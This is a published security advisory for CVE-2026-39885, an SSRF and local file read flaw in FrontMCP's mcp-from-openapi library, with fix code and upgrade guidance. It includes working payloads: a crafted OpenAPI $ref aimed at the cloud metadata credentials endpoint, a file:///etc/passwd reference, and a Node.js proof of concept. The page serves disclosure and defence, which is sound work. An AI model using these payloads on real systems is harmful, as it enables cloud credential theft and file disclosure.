CVE-2026-39885: FrontMCP Affected by SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications

Published Apr 8, 2026
·
Updated

Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

javascript this.dereferencedDocument = await importjsonschemarefparser.default.dereference( JSON.parse(JSON.stringify(this.document)) );

No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

- http:// and https:// URLs (internal services, cloud metadata) - file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

json { "openapi": "3.0.0", "info": { "title": "Evil API", "version": "1.0" }, "paths": { "/test": { "get": { "operationId": "getTest", "summary": "test", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } } } } } }

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

json { "$ref": "file:///etc/passwd" }

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

javascript const http = require('http'); const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); });

srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } };

const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing.

srv.close(); });

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

- Cloud credential theft — $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata - Internal network scanning — $ref values can probe internal services and ports - Local file read — file:// protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } );

Or disable all external resolution and require all schemas to be inline:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } );

Other sources

FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). Prior to 2.3.0, the mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications. This vulnerability is fixed in 2.3.0.

MITRE

Affected Software

7 affected componentsFixes available
npm/@frontmcp/adapters<=1.0.3
1.0.4
npm/@frontmcp/sdk<=1.0.3
1.0.4
npm/mcp-from-openapi<=2.1.2
2.3.0
agentfront \@frontmcp\/adapters Node.js<1.0.4
agentfront \@frontmcp\/sdk Node.js<1.0.4
agentfront Frontmcp Node.js<1.0.4
FrontMCP Mcp-from-openapi Node.js<2.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@frontmcp/adapters to a version that resolves this vulnerability.

    Fixed in 1.0.4
  2. Upgrade

    Upgrade npm/@frontmcp/sdk to a version that resolves this vulnerability.

    Fixed in 1.0.4
  3. Upgrade

    Upgrade npm/mcp-from-openapi to a version that resolves this vulnerability.

    Fixed in 2.3.0
  4. Upgrade

    Upgrade mcp-from-openapi/mcp-from-openapi to a version that resolves this vulnerability.

    Fixed in 2.3.0
  5. Configuration

    When calling dereference(), pass resolver options that restrict which protocols and hosts are allowed (or disable all external resolution so $ref schemas must be inline), rather than dereferencing untrusted OpenAPI specs with no URL allowlist, custom resolvers, or protocol restrictions.

    OpenAPIToolGenerator.initialize() ($ref dereferencing via @apidevtools/json-schema-ref-parser) URL/protocol restrictions and resolver options passed to .dereference() = Restrict which protocols and hosts are allowed; disable all external resolution and require inline schemas

Event History

Apr 8, 2026
Advisory Published
via GitHub·07:22 PM
Data Sourced
via GitHub·07:22 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·08:34 PM
Data Sourced
via MITRE·08:34 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
Affected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203